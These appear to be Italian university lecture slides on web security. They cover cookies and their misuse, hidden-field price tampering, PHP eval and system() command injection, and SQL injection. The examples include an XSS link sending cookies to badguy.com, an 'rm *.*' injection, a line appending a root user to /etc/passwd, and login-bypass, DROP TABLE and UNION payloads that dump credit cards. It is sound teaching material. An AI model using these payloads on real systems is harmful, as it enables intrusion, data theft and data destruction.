Elementi di Sicurezza e Privatezza Lezione 10 Web Security (2) Code Injection Chiara Braghin chiara.braghin@unimi.it! Cookie (1) - Componenti 4 componenti: 1) cookie nell header del messaggio HTTP response (Set-cookie) 2) cookie nell header line del messaggio (non il primo) HTTP request (Cookie) 3) file di cookie mantenuto nel disco rigido del client e gestito dal browser 4) (eventuale) database di back-end nel Web server 1 1
Cookie (2) - Utilizzi User session state w Per permettere ad un utente il login in un sito Web Memorizza username e password Shopping cart w Per mettere o togliere articoli dal carrello della spesa virtuale nei siti commerciali Memorizza costo finale ed, eventualmente, # carta di credito Per personalizzare la pagina web w Memorizza i setting preferiti Per tracciare i percorsi dell'utente (usato dalle compagnie pubblicitarie) 2 Cookie (3) - Classificazione First-party cookie: cookie con lo stesso dominio dell indirizzo presente nella barra del browser Third-party cookie (o tracking cookie): cookie con dominio diverso da quello presente nella barra del browser w Da banner pubblicitario, immagine o altra componente del file HTML, proveniente da un dominio diverso w Usati per ottenere informazioni sul navigatore, i suoi gusti le sue preferenze, per tracciarne un profilo e presentargli solo i banner pubblicitari che gli potrebbero interessare w Secondo gli RFC non dovrebbero venire permessi 3 2
Cookie (4) Tracking Cookie Esempio: w Si supponga che un utente visiti il sito www.esempio1.com, il quale contiene un oggetto (immagine o banner) proveniente dal dominio ad.tracking.com! w Vengono generati 2 cookie: uno relativo al dominio www.esempio1.com, uno relativo al dominio ad.tracking.com! w Se l utente visita il sito www.esempio2.com contenente un altro oggetto proveniente dal dominio ad.tracking.com, oppure visita direttamente il sito in quanto catturato dalla pubblicità di un certo prodotto, il browser spedisce il cookie al server del dominio ad.tracking.com w I cookie possono quindi venire utilizzati per memorizzare i siti visitati dall utente in cui un oggetto del dominio ad.tracking.com sia presente 4 Third-party cookie (1) 5 3
Third-party cookie (2) Esistono programmi per l eliminazione dei cookie in base a politiche di sicurezza definite dall utente w Lavasoft Ad-aware: riconosce i tracking cookie e li rimuove 6 Visualizzare/gestire i cookie 7 4
Lettura/scrittura di cookie a lato client (1) Creare (o sovrascrivere) un cookie in Javascript: w document.cookie = name=value; expires= ; Rimuovere un cookie: w document.cookie = name=; expires= Thu, 01-Jan-70! Leggere un cookie: w alert(document.cookie) w Stampa la stringa che contiene TUTTI i cookie disponibili per il documento 8 Lettura/scrittura di cookie a lato client (2) javascript: alert(document.cookie) Mostra tutti i cookie del documento 9 5
Cookie: possibili attacchi Cookie hijacking Packet sniffing => viene intercettato il traffico e si legge il cookie Soluzione: settare il flag Secure nell header dell HTTP request e utilizzare HTTP/S w A volte anche l uso di HTTP/S non è una garanzia Per motivi di efficienza alcuni header non cifrati! Per motivi di efficienza, solo il primo messaggio spedito tramite HTTP/S 11 6
Cookie poisoning Un utente può cambiare e cancellare i valori dei cookie!! w Editando il file dei cookie w Modificando il campo Cookie nell header del messaggio HTTP Esempio: shopping cart software w Set-cookie:shopping-cart-total = 150 ($) w L utente edita il file dei cookie in modo che venga spedito il seguente header (cookie poisoning): w Cookie: shopping-cart-total = 15 ($)! 12 12 Cattivo uso di script (1) Si consideri il link: (orginato inserendo <script> </script> in un form dove il server si aspetta venga inserita una parola da cercare) http://victim.com/search.php? term =!!!<script> window.open(!!!! http://badguy.com?cookie = +!!!!document.cookie ) </script>! Cosa succede se l utente seleziona il link? Il browser va al link victim.com/search.php Supponiamo che victim.com ritorni <HTML> Results for <script> </script> Il browser esegue lo script: Spedisce a badguy.com i cookie dell utente! 13 7
Cattivo uso di script (2) Per risolvere il problema: HTTPOnly, un nuovo flag GET! Browser HTTP Header: Set-cookie:!NAME=VALUE ;!! HttpOnly Server Web I cookie vengono spediti tramite HTTP(/S), ma non sono accessibili tramite script non possono venire letti da: document.cookie 14 Alternative ai Cookie? Per gli shopping cart, usare campi nascosti del form Sistema valido? 15 8
Campi nascosti (1) 1 Ordina 1 Pizza Web Browser (Client) 2 Web 3 Server Conferma $5.50 Sottometti ordine $5.50 Credit Card Payment Gateway Prezzo salvato in un campo nascosto del form submit_order?price=5.50 Questi valori possono venire modificati dall attaccante? 16 Campi nascosti (2) L attaccante compila i campi richiesti 17 9
Campi nascosti (3) e arriva alla schermata riepilogativa finale che deve confermare: 18 Campi nascosti (4) Della quale può vedere il sorgente: 19 10
Campi nascosti (5) Modifica il prezzo nel sorgente, fa il reload della pagina. Il browser spedisce la richiesta: GET /submit_order?price=0.01&pay=yes HTTP/ 1.1 I campi nascosti dei form sono comunque in chiaro!! 20 Campi nascosti (6) Ordina 1 pizza Web Browser (Client) Conferma $5.50 Web Server Submit ordine $0.01 Credit Card Payment Gateway Prezzo modificato dall attaccante!! 21 11
Non così raro (dati del 2000) Piattaforme che hanno subito l attacco: D3.COM Pty Ltd: ShopFactory 5.8 @Retail Corporation: @Retail Adgrafix: Check It Out Baron Consulting Group: WebSite Tool ComCity Corporation: SalesCart Crested Butte Software: EasyCart Dansie.net: Dansie Shopping Cart Intelligent Vending Systems: Intellivend Make-a-Store: Make-a-Store OrderPage McMurtrey/Whitaker & Associates: Cart32 3.0 pknutsen@nethut.no: CartMan 1.04 Rich Media Technologies: JustAddCommerce 5.0 SmartCart: SmartCart Web Express: Shoptron 1.2 Source: http://xforce.iss.net/xforce/xfdb/4621! 22 Riferimenti HTTP: w RFC 2616, RFC 2818 (HTTP over TLS), RFC 2617 (HTTP atthentication) Cookie: w RFC 2695 e 2109 (HTTP State Management Mechanism ) w Browser Security Handbook http://code.google.com/p/browsersec/ w Una pagina storica http://curl.haxx.se/rfc/cookie_spec.html 23 12
Web, vulnerabilità e attacchi Attacchi comuni (2006) Cross-site scripting (XSS) 22% SQL Injection 14 % PHP Include 10% Buffer overflow 8% Il 2005 è stato il primo anno in cui XSS ha superato gli attacchi di tipo buffer overflow. 25 13
Attacchi - aggiornamento (2009) http://www-935.ibm.com/services/us/iss/xforce/trendreports/ 26 Dati recenti (1) Le vulnerabilità più diffuse nelle applicazioni Web (% Vulns ALL) 27 14
Dati recenti (2) Percentuale di diffusione delle vulnerabilità delle applicazioni Web (% Vulns ALL) 28 Le 2 maggiori vulnerabilità dei siti Web SQL Injection w Il browser spedisce dell input malizioso ad un server (tramite un form) w La mancata validazione dell input porta a query SQL maliziose di TIPO 1: rilasciano informazione sensibile di TIPO 2: modificano dati critici (e sensibili) XSS Cross-site scripting w Un Web server cattivo spedisce a una vittima innocente uno script che ruba informazioni da un server Web onesto 29 15
Code Injection SQL Injection e XSS sono un esempio del più generico attacco di tipo Code (o Command) injection Input non fidato viene inserito in una query o in un istruzione w La stringa in input altera la semantica prevista dell istruzione w Es: SQL Injection - dati non verificati vengono usati per fare una query ad un database Approfitta di vulnerabilità insite nei siti Web dinamici 30 Code Injection (1) Permette all attaccante di eseguire codice arbitrario a lato server Esempio: code injection basato su eval (funzione PHP che accetta come unico argomento una stringa, che deve essere un programma PHP valido) Si supponga di avere una calcolatrice a lato server: http://site.com/calc.php $in = $_GET[ exp']; eval('$ans = '. $in. ';'); Attacco: inserire 10; system( rm *.* ), quindi URL generata http://site.com/calc.php?exp= 10; system( rm *.* ) 31! 16
Code Injection (2) Esempio basato sull uso della funzione system(): w Codice PHP per spedire email: $email = $_POST[ email ]! $subject = $_POST[ subject ]! system( mail $email s $subject < /tmp/mailbody ) w L attaccante può inserire: http://yourdomain.com/mail.php?! email=hacker@hackerhome.net &! subject=foo < /usr/passwd; ls! w Oppure: http://yourdomain.com/mail.php?! email=hacker@hackerhome.net&subject=foo;! echo evil::0:0:root:/:/bin/sh">>/etc/passwd; ls! 32 SQL Injection 17
SQL Injection Input non fidato viene inserito a lato client - in una query eseguita a lato server w La stringa in input altera la semantica prevista della query al database w Possibile nel caso in cui non vengano controllati i dati in input Approfitta di vulnerabilità insite nei siti Web dinamici 34 SQL Injection - Funzionamento di base 1 Inserire input malizioso in un form Server Vittima 2 Attaccante 3 riceve (o modifica) dati sensibili query SQL non voluta DB SQL Vittima 35 18
SQL Injection - Elementi base (1) Client-side: Form per inserire i dati 36 SQL Injection - Elementi base (1) Client-side: Form per inserire i dati 37 19
SQL Injection - Elementi base (2) Server-side: Script che recupera i dati e li utilizza (e.g., costruisce la query) Esempio (codice PHP): $username = $_POST[ username ];!!$sql = "SELECT PersonID FROM Users WHERE username='$username' ";!!$rs = $db->executequery($sql); Problema: w L input dell utente contenuto in username viene inserito direttamente in un comando SQL 38 SQL Injection - Elementi base (3) Server-side: Database su cui viene fatta la query Users PersonID username lastname name SSN 1 mrossi Rossi Mario 265432A 2 escarpa Scarpa Enzo 345679Y SELECT name, lastname, SSN FROM Users Users lastname name SSN Rossi Mario 265432A Scarpa Enzo 345679Y 39 20
SQL in a nutshell (1) Una query SQL agisce sulle tabelle definite nella base di dati e restituisce come risultato una tabella Nei casi più semplici una query SQL deve specificare: w quali sono le informazioni che interessano SELECT Attributo 1, Attributo 2, w in quali tabelle si trovano FROM Tabella 1, Tabella 2, w quali proprietà devono avere (la condizione, opzionale, è espressa sugli attributi delle tabelle specificate nella clausola FROM) WHERE Condizione 40 SQL in a nutshell (2) Il comando di base di SQL: SELECT [DISTINCT] Attributo {, Attributo} FROM Tabella [Ide] {, Tabella [Ide]} [ WHERE Condizione ] Semantica: restrizione + prodotto + proiezione Note: w la condizione è opzionale w in generale, una tabella nel linguaggio SQL non è un insieme, ma un multinsieme, a meno che non venga selezionata l opzione DISTINCT w per evitare ambiguità quando si opera sul prodotto di tabelle con gli stessi nomi dei campi, un attributo A di una tabella R ide si denota come R.A oppure ide.a 41 21
SQL in a nutshell (3) La condizione presente nella clausola WHERE è un espressione boolena costruita combinando predicati semplici con gli operatori AND, OR, NOT Alcuni predicati semplici: w Expr Confronto Expr w Expr Confronto (Sottoselect che torna un valore) w [NOT] EXISTS (Sottoselect) w Confronto: <, >, =, <>, <=, >= 42 SQL Injection (1) - Esempio Query (vulnerabile!) usata spesso per il login: SELECT * FROM Users! WHERE username = chiara'! AND passwd = '123' (Se ritorna qualcosa -i.e. l utente esiste-, allora login) Sintassi del server ASP/MS SQL: var sql = "SELECT * FROM Users! WHERE username = '" + username +! "' AND passwd = '" + passwd + "'"; 43 22
SQL Injection (2) - Esempio Web Browser (Client) inserire username e password Web Server SELECT * FROM Users! WHERE username= io' AND passwd= io23'! DB risposta Query normale 44 SQL Injection (3) - Esempio Dati inseriti dall utente:! username = ' or 1=1! passwd = ahah Query finale: SELECT * FROM Users! WHERE username = ' ' or 1=1! ' AND password = 'ahah' Effetto: w Seleziona un intera tabella invece che solo una riga! w L utente viene loggato in quanto la query ritorna qualcosa w -- commenta ciò che segue 45 23
SQL Injection (4) - Esempio Dati inseriti dall utente:! username = ' ; DROP TABLE Users! passwd = boh Query finale: SELECT * FROM users! WHERE username = ' ' ; DROP TABLE Users! ' AND password = 'boh' Effetto: w Cancella la tabella degli utenti!! w Allo stesso modo si possono aggiungere utenti, modificare le password, etc. 46 Esempio (2.1) Esempio di come ottenere le informazioni sensibili contenute nel DB: Un form per richiedere gli ordini mensili di pizza. Si inserisce il numero del mese e viene visualizzata una tabella riassuntiva. 47 24
Esempio (2.2) Query SQL SELECT pizza, toppings, quantity, date! FROM orders! WHERE userid=. $userid. AND order_month=. _GET[ month ]! Supponiamo che: month = 0 AND 1=0! UNION SELECT name, CC_num, exp_mon, exp_year! FROM creditcards! L'operatore UNION esegue l'unione insiemistica di due tabelle generate da comandi SELECT 48 Esempio (2.3) Risultato: vengono visualizzati i numeri di carta di credito dei clienti!! 49 25
Esempio (2.4) Altro attacco: SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 OR 1=1 La condizione è sempre vera 50 Esempio (3) - :-) Source: http://xkcd.com/327/ 51 26
Riferimenti The Web Application Security Consortium w http://projects.webappsec.org/ Web-Hacking-Incident-Database w http://projects.webappsec.org/web- Hacking-Incident-Database! w http://www.xiom.com/whid-about! The IBM X-Force Trend and Risk Report w http://www-935.ibm.com/services/us/ iss/xforce/trendreports/ 52 27